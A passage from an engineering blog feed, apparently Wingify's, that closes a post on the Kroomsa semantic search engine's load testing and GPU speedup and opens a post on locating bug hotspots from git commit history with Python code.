13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Emojis: A fun addition&lt;/h3&gt; &lt;p&gt;To animate our textual questions and answers, we decided to attach relevant emotions to them. The core logic that drives Kroomsa also helps to discover relevant emojis. We curated a dataset that mapped emojis to relevant tags that best described their conveyed emotion. These tags were then transformed into their neural representations using &lt;a href=&quot;https://huggingface.co/sentence-transformers/distilbert-base-nli-stsb-mean-tokens&quot;&gt;distilbert-base-nli-stsb-mean-tokens&lt;/a&gt; model. We executed a similarity search to find the most relevant emojis for each QnA pair in our database. Kroomsa displays these emojis along with each post to enhance user engagement.&lt;/p&gt; &lt;h2 id=&quot;evaluating-the-algorithm&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#evaluating-the-algorithm&quot; aria-label=&quot;evaluating the algorithm permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Evaluating the Algorithm&lt;/h2&gt; &lt;p&gt;Evaluating the results of a search engine is not a trivial task. Giants like Google use online experiments and search quality raters to evaluate the quality of their search algorithms. Due to its resource-intensive nature, we evaluated our approach through collected feedback. &quot;Plan on using Kroomsa instead of Youtube to go down a rabbit hole for exposure to new ideas.&quot; A user wrote as feedback affirming the quality of the search algorithm. Another user complemented that the results shown by Kroomsa were refreshing due to the absence of any SEO. While the feedback was mostly positive, many users pointed out the lack of information sources as an obvious flaw that affected their experience.&lt;/p&gt; &lt;p&gt;Let us discuss the performance aspect and hardware requirements for a satisfactory implementation. To test the performance of Kroomsa, we used &lt;strong&gt;Siege&lt;/strong&gt;, a benchmarking tool that allows you to simulate users accessing a website. Fifty synthetic users concurrently posted requests on Kroomsa for a load test.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e79ac267b8691a21a0c9fd4dbac8f210/ecf19/kroomsa_load_test.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 46.82080924855491%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsSAAALEgHS3X78AAABVElEQVQoz21S2VLCQBDcEi2VFAJyyBEIEIJgCIEgIrfw///UTA8uBejD1FY2M33NmupggeZog9rHUmqBerjCU3WA+1KAh3LvqlLFLnKtMfzkgHLvC6Vghkwj0nvbY5rRBq3xTkHf3udoxTs8Vvq4K/jacAmcKgagAHe4RrH7iVc/gVMPzz08jTfagqCV/rc2dpK9Mhf86R+VVELSmoBSoSfkaQEkue01VObFW7G61CZarvTncNzhFbM9HTdUlSTkTK49wbNEZGMyDVqOaXkLV8CYEe2w8T+FJLLkVMh5qrZZGi5DVQqgPz0ooMm3zzZsWcBMcyTRrJT0xYuRF2Kqs4tRhQTkeWKe6caplipoj4MEPQFG6Ez2yHcSJebd1VLqMsxFMDdKb09+1D5J+I8bt5btIO1lf0lu/xnKJ4gGLTb43YjW5+Wkb54F7fFFZCWay/dn6wijNfZWgDXC0gAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;kroomsa load test&quot; title=&quot;kroomsa load test&quot; src=&quot;/static/e79ac267b8691a21a0c9fd4dbac8f210/1e043/kroomsa_load_test.png&quot; srcset=&quot;/static/e79ac267b8691a21a0c9fd4dbac8f210/991de/kroomsa_load_test.png 173w, /static/e79ac267b8691a21a0c9fd4dbac8f210/e4d6b/kroomsa_load_test.png 345w, /static/e79ac267b8691a21a0c9fd4dbac8f210/1e043/kroomsa_load_test.png 690w, /static/e79ac267b8691a21a0c9fd4dbac8f210/ecf19/kroomsa_load_test.png 948w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;We quickly identified a few issues with our approach:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Slow Average response time&lt;/li&gt; &lt;li&gt;The worst-case response time recorded was 5.31 seconds.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;The reason for slow response times and poor performance under load is the exhaustive nature of the search. We also timed the different segments of our entire process to offer a holistic view of which phase requires how much time.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Embedding: Time to convert the query to a vector representation using USE.&lt;/li&gt; &lt;li&gt;Faiss: Time to search the index&lt;/li&gt; &lt;li&gt;Mongo: Time to map and retrieve the search results from the database.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Note: Each time measurement is in seconds&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5b927638e265349ca73492eee23ce05c/1ac29/modules_timing_info.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 54.91329479768786%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAABlUlEQVQoz02Sh4rDQBBD/f9fFgJxmtOL03tvTtfxBBsuELA9Gs0b7Ubf71f87ve7ut2u6vW6DoeDv61WK81mMz/v93vX3++3ta1WS/P5XJPJRL1eT8PhUK/XSxFNCPnn83nlcjkLms2misWiGo2G2u22SqWSCoWC+v2+qtWqtdTK5bKfqWVZpmiz2VjE1MVioU6no9Pp5D/G6/Va1+tVg8FAaZq6iW8A0Mv7eDy21oTn8/n3gpCVWe/5fLqJlamNRiMP5juRQI2eCFgXD2oRYqZDGAx3u50ej4cNyQghhjRBxEAyXC6XrkGIhwlvt5sb/xMej0cLWZ/gAyFUGBIH+VGDkKFoTUgzB0ATAg5iu92amKbpdPqjTZLEebJBpVIxGX1EUavVrIsQ8OHz+XgFTo2MEIarAQUrMZhBQGBAvvRBj9aE5AEJ7pwyFBCyGiuyDiacMIaXy8UZYhjoqeFhQzKkwAWHDBIyCpO5p9TCBaYJUyIgc36QYupDwSSOY4so8Awp76yPkFigDXEwhMtNDSDWpcYmf5yUMIX95DnYAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;modules timing info&quot; title=&quot;modules timing info&quot; src=&quot;/static/5b927638e265349ca73492eee23ce05c/1e043/modules_timing_info.png&quot; srcset=&quot;/static/5b927638e265349ca73492eee23ce05c/991de/modules_timing_info.png 173w, /static/5b927638e265349ca73492eee23ce05c/e4d6b/modules_timing_info.png 345w, /static/5b927638e265349ca73492eee23ce05c/1e043/modules_timing_info.png 690w, /static/5b927638e265349ca73492eee23ce05c/1ac29/modules_timing_info.png 1022w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;Using non-exhaustive algorithms means trading off accuracy with speed. So we decided to switch to a GPU-based implementation of the exhaustive search. It exponentially increases the performance of the system without sacrificing accuracy. Using the cheapest GPU available that increased our server cost to 2.61x the original, we obtained a 10x speedup in processing times. GPU-based implementation processed 100 requests in 2.7 seconds compared to 27.2 seconds of the CPU implementation. We also tested asynchronous batching, where concurrent requests are batched and sent together as a single request to the system. It was able to process 100 requests in 0.12 seconds which translates to a 225x improvement in processing time. Using a GPU translated to a 10x speedup without sacrificing accuracy. This change alone improved the responsiveness of the engine considerably.&lt;/p&gt; &lt;h2 id=&quot;conclusion-open-sourcing-kroomsa&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion-open-sourcing-kroomsa&quot; aria-label=&quot;conclusion open sourcing kroomsa permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion: Open sourcing Kroomsa&lt;/h2&gt; &lt;p&gt;While developing Kroomsa, we came across multiple roadblocks at each step that required rigorous research and swift implementation to resolve. Dealing with the issues of scaling, algorithm accuracy, and efficiency exposed us to the state of the art approaches in the field. We collected valuable feedback from our users over a limited period. It gave us confidence in the potential that this approach holds. Due to misalignment with our product stack, we believe that our community can make better use of it than us at this point, and hence we have decided to open-source the entire project &lt;a href=&quot;https://github.com/wingify/kroomsa&quot;&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;useful-resources&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#useful-resources&quot; aria-label=&quot;useful resources permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Useful resources&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://www.google.com/search/howsearchworks/algorithms/&quot;&gt;How search Algorithms work: Google&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://new.pythonforengineers.com/blog/build-a-reddit-bot-part-1/&quot;&gt;Build a reddit bot - Shantanu Tiwari&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Aakash Chawla</author></item><item><title><![CDATA[Finding Bughotspots in Source Code]]></title><description><![CDATA[Introduction We are often faced with the problem of source code that breaks frequently. Or those modules which are very sensitive to changes…]]></description><link>https://engineering.wingify.com//posts/finding-bughotspots-in-source-code/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/finding-bughotspots-in-source-code/</guid><pubDate>Tue, 05 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h3 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h3&gt; &lt;p&gt;We are often faced with the problem of source code that breaks frequently. Or those modules which are very sensitive to changes in them or their upstream modules. And with a new team member joining and having to eventually commit changes in those same modules requires that there be some way to keep track of such pieces of code, other than the human memories. Also finding such spots in source code gives a better perspective of the places which might need refactoring or rethinking the strategy of implementation. It is obvious to think that prediction of bugs’ occurrence would require multiple parameters chugged into a big neural network to compute what might be the probability of those occurrences. Turns out we can use fewer and simpler metrics to do just that.&lt;/p&gt; &lt;h3 id=&quot;solution&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution&quot; aria-label=&quot;solution permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h3&gt; &lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20170706022036id_/http://earlbarr.com/publications/hitmiss.pdf&quot;&gt;Rehman et al.&lt;/a&gt; Note that all you need to have is a history or cache of changes done in the source code and some labels to mark which of the changes were done to fix bugs. Mapping these changes to the files or pieces of code would lead to the places where rework or careful peer review is required. As engineers at Google &lt;a href=&quot;%E2%80%8B%E2%80%8Bhttp://google-engtools.blogspot.com/2011/12/bug-prediction-at-google.html&quot;&gt;here&lt;/a&gt; mention, coupling this with a time-decay function, which would reduce the priority of a piece of code as the bug fix done in it becomes older in the face of new bugs surfacing in other pieces of code.&lt;/p&gt; &lt;p&gt;We found that this was beautifully implemented by &lt;a href=&quot;https://github.com/niedbalski/python-bugspots&quot;&gt;Jorge Niedbalski&lt;/a&gt; but that it had a bug in it for which we opened a &lt;a href=&quot;https://github.com/niedbalski/python-bugspots&quot;&gt;pull request&lt;/a&gt;. Nonetheless, the module worked pretty well so we forked it and made some changes in it for our usage.&lt;/p&gt; &lt;p&gt;The idea here is to read through the &lt;code class=&quot;language-text&quot;&gt;git logs&lt;/code&gt; of a given repository and sift through them searching for commits labeled with specific keywords. This considered along with how frequently and how recent changes were made in the repository tells which piece of code is the hot spot. We use the &lt;a href=&quot;https://pypi.org/project/vcstools/&quot;&gt;vcstools&lt;/a&gt; library to operate and deal with the version control system repositories.&lt;/p&gt; &lt;p&gt;We first check the path provided to check if it is a valid vcs repository.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_current_vcs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; path &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;.&apos;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; vcs_type &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; vcs_abstraction&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_registered_vcs_types&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; vcs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vcs_abstraction&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_vcs&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;vcs_type&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; vcs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;static_detect_presence&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; vcs&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; Exception&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Did not find a valid VCS repository&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then we get the changesets from the specific branch of the repository.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_changesets&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;days_ago&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; current_branch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vcs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_current_version_label&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; current_branch &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; branch&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; vcs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_do_checkout&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;branch&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; log &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; vcs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_log&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; message&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;log&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;date&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; log&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;message&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; log&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; commit_date &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;replace&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tzinfo&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; commit_date &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; days_ago &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; \ description_regex&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;message&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;yield&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;message&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; commit_date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; vcs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_affected_files&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Here we also check that the changesets should be from the commits within the time period specified and that the commit messages should have the specific keywords. We use the following regex to match any commit messages that have the bug fix keywords.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token string&quot;&gt;&quot;^.*([B|b]ug)s?|([f|F]ix(es|ed)?|[c|C]lose(s|d)?)|(([Q|q][F|f])-\d?).*$&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Once we have the fix commits from the specified branch and within the desired time-period, we can also proceed to exclude some files which might not be of our interest for computing bug hotspots. This will include dependencies files like package.json, requirements.txt, yarn.lock, or Readme files. This is driven by a boolean parameter.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;remove_excluded_files&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fixes&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; exclusion_regex &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; re&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;compile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;r&quot;.*(README|package\.json|yarn\.lock|test[s]*).*$&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; fix &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; fixes&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; exclusion_files &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; fix&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; exclusion_regex&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; exclusion_files&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; fix&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;remove&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; fixes&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then we compute the hotspot factor for each of the files in the changesets procured.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_code_hotspots&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; commits &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; get_fix_commits&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;branch&lt;span class=&quot;token 